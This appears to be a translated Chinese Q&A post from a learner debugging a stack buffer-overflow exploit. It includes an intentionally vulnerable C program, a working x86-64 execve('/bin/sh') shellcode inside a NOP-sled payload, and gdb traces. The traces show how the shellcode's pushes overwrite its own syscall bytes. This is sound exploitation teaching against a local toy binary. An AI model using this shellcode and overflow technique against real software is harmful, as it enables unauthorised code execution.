我正在学习缓冲区溢出(仅用于教育目的),并且在使用NOP滑动技术来执行shellcode时,出现了一些问题,即为什么shellcode有时不会被执行。
我编译了以下代码(使用Ubuntu 18.04.1 LTS(x86_64),gcc 7.3.0。,ASLR禁用)
#include <stdio.h>
#include <string.h>
void function (char *args)
{
char buff[64];
printf ("%p\n", buff);
strcpy (buff, args);
}
int main (int argc, char *argv[])
{
function (argv[1]);
}
如下:gcc -g -o main main.c -fno-stack-protector -z execstack
。然后我唤起了gdb main
,b 9
和
run `perl -e '{ print "\x90"x15; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x8; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
上面的字符串由NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address
组成。我根据printf
线的输出选择了返回地址。 (注意:要明确说明,上面的十六进制代码在x86_x64中打开一个shell)。
从以下输出可以看出,缓冲区按预期溢出。
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x48
0x7fffffffd8c0: 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2 0x48
0x7fffffffd8c8: 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
0x7fffffffd8d0: 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1 0xeb
0x7fffffffd8d8: 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31 0xd2
0x7fffffffd8e0: 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f 0x05
0x7fffffffd8e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从这里继续确实打开了shell。但是,当我使用以下作为参数时(唯一的区别是我用\x90"x15
替换了\x90"x16
,用\x90"x8
替换了\x90"x7
)
run `perl -e '{ print "\x90"x16; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x7; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
我明白了
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8c0: 0x48 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2
0x7fffffffd8c8: 0x48 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73
0x7fffffffd8d0: 0x68 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1
0x7fffffffd8d8: 0xeb 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31
0x7fffffffd8e0: 0xd2 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f
0x7fffffffd8e8: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
对我来说看起来很好(与上面相同,除了反映参数的变化),但是当我继续这一次时,我得到了
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
并且没有打开shell。
编辑:我添加了shellcode的反汇编:
0000000000400078 <_start>:
400078: 48 31 c0 xor %rax,%rax
40007b: b0 3b mov $0x3b,%al
40007d: 48 31 d2 xor %rdx,%rdx
400080: 48 bb 2f 62 69 6e 2f movabs $0x1168732f6e69622f,%rbx
400087: 73 68 11
40008a: 48 c1 e3 08 shl $0x8,%rbx
40008e: 48 c1 eb 08 shr $0x8,%rbx
400092: 53 push %rbx
400093: 48 89 e7 mov %rsp,%rdi
400096: 4d 31 d2 xor %r10,%r10
400099: 41 52 push %r10
40009b: 57 push %rdi
40009c: 48 89 e6 mov %rsp,%rsi
40009f: 0f 05 syscall
Jester猜测shellcode的push
操作覆盖了我的第二个例子的shell代码远端的指令是正确的:
通过设置SIGILL
并重复第二个示例得到set disassemble-next-line on
后检查当前指令
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea: ff (bad)
之前在此地址的NOP(90
)已被ff
覆盖。
这是怎么发生的?再次重复第二个例子,另外设置b 8
。此时,缓冲区尚未溢出。
(gdb) info frame 0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从0x7fffffffd8f8
开始的字节包含在离开function
函数后将返回的地址。然后,这个0x7fffffffd8f8
地址也将是堆栈将继续增长的地址(那里,将存储前8个字节)。实际上,继续使用gdb并使用si
命令显示在shellcode的第一个push
指令之前,堆栈指针指向0x7fffffffd900
:
(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da: 53 push %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8 0xd9 0xff 0xff 0xff 0x7f 0x00 0x00
...当执行push
指令时,字节存储在地址0x7fffffffd8f8
中:
(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db: 48 89 e7 mov %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
继续这一点,可以看到在shellcode的最后一个push
指令之后,push
的内容被推送到地址0x7fffffffd8e8
的堆栈上:
0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3: 57 push %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4: 48 89 e6 mov %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
但是,这也是存储syscall
指令的最后一个字节的位置(请参阅第二个示例的问题中的x/80bx buff
输出)。因此,系统调用以及shellcode无法成功执行。这在第一个例子中不会发生,因为那时推入堆栈的字节增长直到shellcode的结尾(不覆盖它的一个字节):8个NOP("\x90"x8
)的8个字节+保存的基数的8个字节指针+返回地址的8个字节为3个push
操作提供了足够的空间。